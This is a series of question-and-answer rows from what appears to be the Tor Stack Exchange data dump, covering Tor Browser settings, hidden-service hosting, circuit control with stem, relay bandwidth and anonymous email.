  <row Id="6833" PostTypeId="2" ParentId="6832" CreationDate="2015-05-17T22:26:55.993" Score="1" Body="&lt;p&gt;There are different solutions for your question above.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First of all there are different VPN companies that offer VPN which routes the traffic through TOR thus airvpn and bestvpn.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another solution can be that you are going to use &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow&quot;&gt;whonix&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A less secure solution is that you connect first on your VPN for example openvpn and then you can use &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Browser&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It should be very boring to explain here for example how whonix/openvpn/tor browser is working. I let you read and learn and find your best solution to your problem.&lt;/p&gt;&#xA;" OwnerUserId="7450" OwnerDisplayName="user7449" LastActivityDate="2015-05-17T22:26:55.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6836" PostTypeId="2" ParentId="6831" CreationDate="2015-05-19T06:18:58.853" Score="1" Body="&lt;p&gt;Yes, the plugin should work via Tor network, and it will not do anything to hurt your anonymity since it is only using multiple HTTP connections like the browser do during browsing.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-05-19T06:18:58.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6837" PostTypeId="1" AcceptedAnswerId="6843" CreationDate="2015-05-19T06:39:37.673" Score="1" ViewCount="548" Body="&lt;p&gt;I would like to develop a small hidden service that require authentication, i.e. the first thing that must show up is the login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty newbie in all this web-services world and some questions arise in mi head:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are the secure recommendations when implementing this feature?&lt;/li&gt;&#xA;&lt;li&gt;What software do you recommend? (apache + php?)  &lt;/li&gt;&#xA;&lt;li&gt;It is necessary to get a SSL certificate?&lt;/li&gt;&#xA;&lt;li&gt;And more important, will this feature be seeing as a challenge in the eyes of some enthusiast Tor users?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far I've just seeing &lt;a href=&quot;https://tor.stackexchange.com/questions/219/how-to-use-hidden-service-authentication&quot;&gt;this&lt;/a&gt; question with &quot;Who knows, it might even work.&quot; as the final sentence of the correct answer. So I'm a little intrigued. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Warren.&lt;/p&gt;&#xA;" OwnerUserId="7454" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-05-19T20:10:29.243" Title="Tor Hidden Service with authentication" Tags="|onion-services|authentication|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6839" PostTypeId="1" CreationDate="2015-05-19T10:16:28.143" Score="2" ViewCount="1565" Body="&lt;p&gt;I am running Tor on Debian via SSH (I do not have GUI).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making applications run inside Tor using the &lt;code&gt;torify&lt;/code&gt; prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick way to get a new IP address?&lt;/p&gt;&#xA;" OwnerUserId="7456" LastActivityDate="2017-11-12T23:50:20.230" Title="How to get a new IP address?" Tags="|linux|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6840" PostTypeId="1" CreationDate="2015-05-19T13:47:24.883" Score="2" ViewCount="111" Body="&lt;p&gt;I'm currently using Tor Browser Bundle version 4.5.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to pass the verifications set by Cloud Flare so as to gain access to certain websites, I've no choice but to choose the DEFAULT &quot;Privacy Settings&quot; in TBB 4.5.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the administrators of the websites that I visit know my real IP address through the use of cleverly crafted Javascripts embedded in certain web pages and/or the use of embedded web bugs or persistent cookies?&lt;/p&gt;&#xA;" OwnerUserId="3509" LastActivityDate="2015-07-01T05:54:12.620" Title="TBB 4.5.1: Anonymity compromised if privacy settings are at default?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6841" PostTypeId="1" CreationDate="2015-05-19T18:09:40.000" Score="1" ViewCount="56" Body="&lt;p&gt;Can someone explain the purpose of the AUTH_CHALLENGE command in the Tor specification? As far as I understand, responding with an AUTHENTICATE cell is optional. When would it be desirable for a node to AUTHENTICATE?&lt;/p&gt;&#xA;" OwnerUserId="7460" LastActivityDate="2015-05-19T18:09:40.000" Title="AUTH_CHALLENGE and AUTHENTICATE" Tags="|protocol|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6842" PostTypeId="1" CreationDate="2015-05-19T19:47:28.060" Score="2" ViewCount="36" Body="&lt;p&gt;Is there a definitive location for various Tor Project latest releases? Some Linux repos as an example will have a &quot;latest&quot; point that redirects requests to the newest published release. I'm looking for something like &lt;a href=&quot;https://dist.torproject.org/torbrowser/latest.tar.gz&quot; rel=&quot;nofollow&quot;&gt;https://dist.torproject.org/torbrowser/latest.tar.gz&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-19T15:41:17.900" Title="Is there a definitive location for Tor Project releases?" Tags="|tor-browser-bundle|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6843" PostTypeId="2" ParentId="6837" CreationDate="2015-05-19T20:10:29.243" Score="0" Body="&lt;p&gt;I would suggest that you get acquainted with clearweb hosting practices before trying to turn them into a hidden service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some would recommend a &lt;a href=&quot;http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29&quot; rel=&quot;nofollow&quot;&gt;LAMP&lt;/a&gt; configuration at least initially. There are new schools of thought when it comes to deciding on a TLS certificate for your hidden service, but technically it is unnecessary as the current Tor Hidden Service Protocol connection is already encrypted to provide the confidentially integrity checking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question about &quot;What are the secure recommendations&quot; is too open of a question to answer but points back to you should look into how other web applications implement secure authentication. Consider implementing existing code that provides hardening guidelines. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-19T20:10:29.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6844" PostTypeId="2" ParentId="6840" CreationDate="2015-05-19T20:14:45.040" Score="2" Body="&lt;p&gt;Tor is able to ensure that your IP does not leak over the network. In the TBB there is currently no known way to accidentally disclose your IP via JavaScript. There are ways of doing this through DNS leakage, via HTML5 and Canvas, as well as WebRTC. But TBB is configured to disable those features/plugins by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Persistent cookies and browser fingerprint are always a concern but this risk is reduced a bit by TBB's configuration. These aren't examples of de-anonymization where the attacker finds the source IP, but rather cross-session attribution where the attacker can track your browsing habits across multiple sessions and IP's. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-19T20:14:45.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6845" PostTypeId="2" ParentId="6839" CreationDate="2015-05-19T20:17:50.797" Score="1" Body="&lt;p&gt;You can issue the &lt;code&gt;NEWNYM&lt;/code&gt; command via the control port. The &lt;a href=&quot;https://stem.torproject.org/faq.html#how-do-i-request-a-new-identity-from-tor&quot; rel=&quot;nofollow&quot;&gt;STEM documentation&lt;/a&gt; has a good example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem import Signal&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;  controller.authenticate()&#xA;  controller.signal(Signal.NEWNYM)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-19T20:17:50.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6846" PostTypeId="1" AcceptedAnswerId="6904" CreationDate="2015-05-19T22:58:25.423" Score="4" ViewCount="3182" Body="&lt;p&gt;I'm aware this has already been asked, but with an update to Tor browser it seems a bit more difficult to manage. See here: &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips&quot;&gt;How to run multiple Tor browsers with different IPs?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It requires editing TorButton preferences, which is no longer an easy thing to do. How do I change my settings to use custom proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see it's possible using linux: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I found this also: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/14630&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/14630&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom, MikePerry says &quot; ... you need to either edit the Torbutton about:config prefs 'extensions.torbutton.socks_host' and 'extensions.torbutton.socks_port', or set the environment variables TOR_SOCKS_HOST and TOR_SOCKS_PORT before starting TBB.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing that and it also did not work. I may have missed something very obvious though.&lt;/p&gt;&#xA;" OwnerUserId="7462" LastEditorUserId="7462" LastEditDate="2015-06-02T20:47:55.673" LastActivityDate="2015-12-19T22:50:06.330" Title="Multiple instances of Tor w/ Tor Browser since v4.5" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6847" PostTypeId="1" AcceptedAnswerId="6850" CreationDate="2015-05-20T02:50:55.427" Score="2" ViewCount="223" Body="&lt;p&gt;I know a hidden service chooses six &quot;Introduction Points&quot; when it registers itself with a HS Directory.  Under what basis are the Introduction Points chosen?  It is just consensus weight?  I have no idea.&lt;/p&gt;&#xA;" OwnerUserId="3242" LastActivityDate="2015-05-20T13:18:39.247" Title="How is a hidden service's Introduction Point determined?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6850" PostTypeId="2" ParentId="6847" CreationDate="2015-05-20T13:18:39.247" Score="2" Body="&lt;p&gt;It follows the same process of establishing connections to other nodes based on bandwidth weight and other properties. If it's the first time the HS is establishing directory nodes, it will accept the &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/rendservice.c#n3531&quot; rel=&quot;nofollow&quot;&gt;first two&lt;/a&gt; that receive a response and then be more selective after a few have been cached. These circuits to the IP's are only used as introduction circuits and never used in part of the general pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least, that's what the source says. There does not appear to be any details in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/plain/rend-spec.txt&quot; rel=&quot;nofollow&quot;&gt;rend-spec&lt;/a&gt; itself. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-20T13:18:39.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6851" PostTypeId="2" ParentId="6842" CreationDate="2015-05-20T15:13:59.240" Score="1" Body="&lt;p&gt;As far as I know, the answer is no. People talked about the idea before. You might create a ticket asking about the issue. I know orbot provides latest release download link and it's helpful.&lt;/p&gt;&#xA;" OwnerUserId="3386" LastActivityDate="2015-05-20T15:13:59.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6852" PostTypeId="1" CreationDate="2015-05-20T19:43:36.610" Score="2" ViewCount="63" Body="&lt;p&gt;After downloading the last release of tor (4.5.1), terminal messages do not appear anymore. The usual stuff tor used to tell me when ran from terminal is not there - stuff like &quot;Tor can't help you if you use it wrong......&quot;, or &quot;Opening control listener on 127.0.0.1:9151&quot;, or &quot;Tor browser exited cleanly&quot;, or info saying that the circuit has been established, or how many % of guards, midpoints and exits have been found, nothing at all, nothing. Why is that? Does anyone know?&lt;br&gt;&lt;br&gt;&#xA;I'm running LUbuntu&lt;br&gt;&lt;br&gt;&#xA;I should also add that before 4.5.1 release I ran tor from terminal and not as root and I do so exactly the same way now, the difference is there is no feedback from tor...&lt;/p&gt;&#xA;" OwnerUserId="7473" LastEditorUserId="7473" LastEditDate="2015-05-20T21:31:20.860" LastActivityDate="2015-05-20T21:31:20.860" Title="No terminal messages from tor 4.5.1" Tags="|tor-browser-bundle|linux|ubuntu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6853" PostTypeId="1" AcceptedAnswerId="7253" CreationDate="2015-05-21T18:33:27.793" Score="0" ViewCount="54" Body="&lt;p&gt;When going through bugs and the Tor wiki, mailing lists, etc. I frequently see SponorR. What is meant by that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15618&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/15618&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-07-18T09:12:03.623" Title="What is SponsorR?" Tags="|torproject.org|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6854" PostTypeId="1" CreationDate="2015-05-21T20:06:43.970" Score="1" ViewCount="219" Body="&lt;p&gt;I am trying to set up my own hidden service. My last problem with torrc file has been sorted, I still have another problem. Website is not loading on tor, at all. It is accessible via Chrome at 127.0.0.1 and at localhost. I have forwarded port 80 and still no result. Anyone have a clue what might be the most common problem? &#xA;I am using latest Savant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the comment the &lt;code&gt;torrc&lt;/code&gt; contains the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Hidden Service &#xA;HiddenServiceDir C:\Users\Name\tor_service&#xA;HiddenServicePort 80 127.0.0.1:80 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7442" LastEditorUserId="88" LastEditDate="2016-03-09T10:16:39.417" LastActivityDate="2016-03-09T10:16:39.417" Title="Hosting hidden service" Tags="|onion-services|windows|web-hosting|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6855" PostTypeId="1" CreationDate="2015-05-22T05:10:13.690" Score="3" ViewCount="4423" Body="&lt;p&gt;In the current versions of Tor (4.5.1) every time a new tab is opened a new circuit is made - causing the ip to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following scenarion:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User logs into firstsite.com - session/cookie data stores originating IP address among other credentials&lt;/li&gt;&#xA;&lt;li&gt;User clicks on link at firstsite.com to access secondsite.com&lt;/li&gt;&#xA;&lt;li&gt;firstsite.com sends IP address along with other credentials to secondsite.com&lt;/li&gt;&#xA;&lt;li&gt;Authentication fails at secondsite.com because a new circuit has been formed in the new tab and the IP's no longer match.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tried TrackHostExits, MaxCircuitDirtiness, NewCircuitPeriod.  Is there any way to keep the same circuit across an entire browser session?&lt;/p&gt;&#xA;" OwnerUserId="7476" LastActivityDate="2016-01-06T18:58:53.477" Title="How to prevent a circuit from changing between browser tabs?" Tags="|tor-browser-bundle|circuit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6856" PostTypeId="1" CreationDate="2015-05-22T05:42:26.167" Score="1" ViewCount="2018" Body="&lt;p&gt;apologies for asking such a basic question but I'm having trouble finding a clear answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to send an email anonymously (I'll create a new email account). I don't want the recipient to know the state/city that I'm located in as this will give away my identity. There are numerous others who could send the same email that i want to send but they are all located in a different state to me. The recipient is an employer and will only have access to a office based IT person to try and figure out who sent the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to use the Tor browser to prevent my employer from knowing the location I sent the email from? Can I use my home internet connection while using Tor or do I need to use a public wifi? Are there any settings I need to adjust when using the Tor browser at home?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="7477" LastActivityDate="2021-03-22T20:56:43.597" Title="Hiding my location anonymous email" Tags="|anonymity|email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6859" PostTypeId="1" CreationDate="2015-05-22T17:52:31.193" Score="2" ViewCount="321" Body="&lt;p&gt;After updating, when I click on the torrent link for the download (piratebay for example) it will not send it to Vuze. How can I set it up please?&lt;/p&gt;&#xA;" OwnerUserId="7481" LastEditorUserId="5445" LastEditDate="2015-05-27T19:49:51.910" LastActivityDate="2015-05-27T19:49:51.910" Title="My previous version of Tor transfers torrents to Vuze - updated Tor will not" Tags="|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6861" PostTypeId="1" AcceptedAnswerId="6864" CreationDate="2015-05-23T07:01:09.487" Score="2" ViewCount="6036" Body="&lt;p&gt;Is it possible to use Tor network for Java application usage? For example, can I program socket program in Java to use Tor network to hide application data package exchange?&lt;/p&gt;&#xA;" OwnerUserId="7485" LastEditorUserId="5445" LastEditDate="2015-05-27T19:49:34.500" LastActivityDate="2017-01-03T23:13:55.143" Title="Using Tor network for Java sockets" Tags="|vidalia|java|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6862" PostTypeId="2" ParentId="6856" CreationDate="2015-05-23T13:04:29.753" Score="1" Body="&lt;p&gt;first if you are not sure how to work with &lt;a href=&quot;https://en.wikipedia.org/wiki/Tor_%28anonymity_network%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;TBB&lt;/a&gt;, i would highly recommend using &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Tails&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you use Tor for example your ISP can see that you use Tor, so if you don't want that, using a public wifi is not a bad idea... (although webserver, receiver, etc. will still see &quot;you&quot; are using Tor)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that said, i would never login to some account while using Tor, that can be a bit risky for your anonymity (e.g. you just forgot once to login with Tor and you are done)! - or there are also people working with their &quot;real-world facebook-account&quot; while using Tor... that's pretty senseless!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for mailing i would use a &lt;a href=&quot;https://en.wikipedia.org/wiki/Anonymous_remailer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;remailer&lt;/strong&gt;&lt;/a&gt; like these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.guerrillamail.com/compose&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.guerrillamail.com/compose&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.trash-mail.com/compose-mail/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.trash-mail.com/compose-mail/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;now to make it applicable for you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for high-risk cases you should always do as much as you can for your anonymity/privacy! so use Tails and a public wifi... and send mails via a anonymous remailer you trust!&lt;/li&gt;&#xA;&lt;li&gt;if you don't do &quot;something risky&quot; and just want to hide yourself against an average user, using a remailer you trust may be enough.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;keep in mind&lt;/strong&gt;: your mails will be &lt;strong&gt;anonymous but not secret&lt;/strong&gt;!!! --&gt; for that you need &lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_Privacy_Guard&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;GPG&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by the way:&lt;br&gt;&#xA;for just &lt;strong&gt;receiving mails anonymously&lt;/strong&gt; i recommend the awesome service from the &lt;a href=&quot;https://www.ccc.de/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chaos Computer Club&lt;/a&gt;: &lt;strong&gt;&lt;a href=&quot;https://anonbox.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://anonbox.net/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2016-11-11T21:53:33.517" LastActivityDate="2016-11-11T21:53:33.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6864" PostTypeId="2" ParentId="6861" CreationDate="2015-05-23T15:03:54.820" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/p/silvertunnel-ng/&quot; rel=&quot;nofollow&quot;&gt;SilverTunnel-NG&lt;/a&gt; is able to provide access to the Tor Network on a Socket level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can checkout the &lt;a href=&quot;https://sourceforge.net/p/silvertunnel-ng/wiki/Sample%20Code%20%3A%20Check%20if%20Tor%20Connection%20works/&quot; rel=&quot;nofollow&quot;&gt;Sample code here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way is to use maven and include the following dependency into your pom.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;&#xA;  &amp;lt;groupId&amp;gt;org.silvertunnel-ng&amp;lt;/groupId&amp;gt;&#xA;  &amp;lt;artifactId&amp;gt;netlib&amp;lt;/artifactId&amp;gt;&#xA;  &amp;lt;version&amp;gt;0.0.4&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="612" LastEditorUserId="612" LastEditDate="2015-12-18T12:39:41.133" LastActivityDate="2015-12-18T12:39:41.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6865" PostTypeId="1" CreationDate="2015-05-23T19:34:09.423" Score="1" ViewCount="305" Body="&lt;p&gt;I'm trying to use Ruby Watir to open Tor on Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question &lt;a href=&quot;https://tor.stackexchange.com/q/3336/3068&quot;&gt;Connect to Tor-Firefox via Ruby/Watir&lt;/a&gt; addresses this on Windows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Selenium::WebDriver::Firefox::Binary.path='{location of start_tor_browser*}'&#xA;browser = Watir::Browser.new :firefox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case, the location would be... &lt;code&gt;Applications/TorBrowser&lt;/code&gt;. But Ruby says it is not a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I do it for Mac?&lt;/p&gt;&#xA;" OwnerUserId="3068" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-04-11T21:32:45.373" Title="Running Tor with Ruby Watir on Mac" Tags="|tor-browser-bundle|configuration|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6866" PostTypeId="2" ParentId="6855" CreationDate="2015-05-24T15:59:16.170" Score="3" Body="&lt;p&gt;You can set the &lt;code&gt;NoIsolateSOCKSAuth&lt;/code&gt; isolation flag on the Tor Browser SocksPort, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9150 NoIsolateSOCKSAuth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, for a more limited approach, something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MapAddress *.firstsite.com  *.firstsite.com.whatever.exit&#xA;MapAddress *.secondsite.com *.secondsite.com.whatever.exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7491" LastEditorUserId="7491" LastEditDate="2015-05-24T16:04:34.800" LastActivityDate="2015-05-24T16:04:34.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6868" PostTypeId="1" CreationDate="2015-05-24T21:42:15.020" Score="1" ViewCount="898" Body="&lt;p&gt;On Ubuntu (running Tor) I set a system wide proxy from &lt;strong&gt;Settings &gt; Network &gt; Network Proxy&lt;/strong&gt; as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Socket Host:    127.0.0.1    9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tried some apps like web browsers and they indicated a changed IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then used &lt;a href=&quot;http://aria2.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;aria2c&lt;/code&gt;&lt;/a&gt; (similar to &lt;code&gt;wget&lt;/code&gt;) within the terminal but got this warning, although the app continued downloading:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ aria2c http://.../..linux.tgz&#xA;Caught Error while parsing environment variable 'all_proxy'&#xA;Exception: [AbstractOptionHandler.cc:69] errorCode=28 We encountered a problem while processing the option '--all-proxy'.&#xA;  -&amp;gt; [OptionHandlerImpl.cc:508] errorCode=1 unrecognized proxy format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wonder If it used Tor for communication or just connected directly without Tor?&#xA;How could I check the IP of an app in the same situation (terminal app) while it reached a third-party site?&lt;/p&gt;&#xA;" OwnerUserId="6862" LastEditorUserId="88" LastEditDate="2015-08-24T21:18:41.457" LastActivityDate="2015-08-24T21:18:41.457" Title="Does traffic still go through Tor with this Exception Error in aria2c?" Tags="|linux|information-leaks|proxy-leaks|ip-address-leak|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6869" PostTypeId="2" ParentId="6859" CreationDate="2015-05-24T22:54:48.840" Score="2" Body="&lt;p&gt;This is a feature of the Tor Browser to prevent accidentally leaking TBB information to an exteral program that isn't configured to use Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5556&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/5556&lt;/a&gt; titled &quot;magnet uri support&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is supported in Firefox, this does not work in Tor.&#xA;  Simply put, this is not a Mozilla issue, nor is it a Firefox issue, this is a Tor Browser issue.&#xA;  As per the original description: When clicking magnet:// prefixed links, &quot;The browser does ask for permission to open the associated application. The associated application never recieves the message from the TBB. This works in normal Firefox.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-05-24T22:54:48.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6872" PostTypeId="1" CreationDate="2015-05-25T11:04:34.673" Score="1" ViewCount="530" Body="&lt;p&gt;I have a Tor exit relay for about 6 months and assign 1600 KBps for &lt;code&gt;RelayBandwidthRate&lt;/code&gt;. Until a week ago, used bandwidth on my relay was equal to 600-700 KBps. But in this last 6 days, used bandwidth reduced to 10 KBps. I did not change the configuration files and now I don't understand reason of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What events may have occurred? What is the reason?&lt;/p&gt;&#xA;" OwnerUserId="7496" LastEditorUserId="88" LastEditDate="2015-08-23T13:00:26.033" LastActivityDate="2022-04-12T01:01:30.157" Title="Tor network used a little bit of my relay bandwidth. Why?" Tags="|exit-relays|bandwidth|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6873" PostTypeId="2" ParentId="6872" CreationDate="2015-05-25T12:17:28.263" Score="0" Body="&lt;p&gt;You could check if your node maybe has been flagged as a BadExit, this would explain that most of the Tor-Clients would try not to use your Exitnode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example for an current BadExit is: tylerlockedotorg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the current network status with &lt;a href=&quot;https://atlas.torproject.org/#search/tylerlockedotorg&quot; rel=&quot;nofollow&quot;&gt;atlas.torproject.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="612" LastActivityDate="2015-05-25T12:17:28.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
